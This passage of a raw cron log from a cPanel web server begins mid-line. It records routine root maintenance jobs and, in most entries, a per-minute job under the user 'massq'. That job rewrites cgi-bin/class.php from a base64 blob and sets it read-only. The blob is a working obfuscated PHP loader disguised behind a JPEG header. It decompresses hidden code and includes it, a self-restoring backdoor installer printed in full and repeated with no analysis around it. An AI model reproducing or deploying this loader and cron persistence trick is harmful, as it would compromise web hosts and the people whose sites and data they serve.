hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:27:01 server CROND[22935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:27:01 server CROND[22936]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 04:28:01 server CROND[22985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:29:01 server CROND[23039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:30:01 server CROND[23093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 04:30:01 server CROND[23096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:30:01 server CROND[23097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:30:01 server CROND[23099]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 12 04:30:01 server CROND[23109]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr 12 04:30:01 server CROND[23118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:31:01 server CROND[23208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:32:01 server CROND[23256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:33:01 server CROND[23302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:34:01 server CROND[23349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:35:01 server CROND[23501]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 04:35:01 server CROND[23502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:35:01 server CROND[23504]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 04:35:01 server CROND[23505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:35:01 server CROND[23503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:36:01 server CROND[23610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:37:01 server CROND[23661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:38:01 server CROND[23721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:39:01 server CROND[23767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:39:01 server CROND[23766]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 04:40:01 server CROND[23796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:40:01 server CROND[23798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
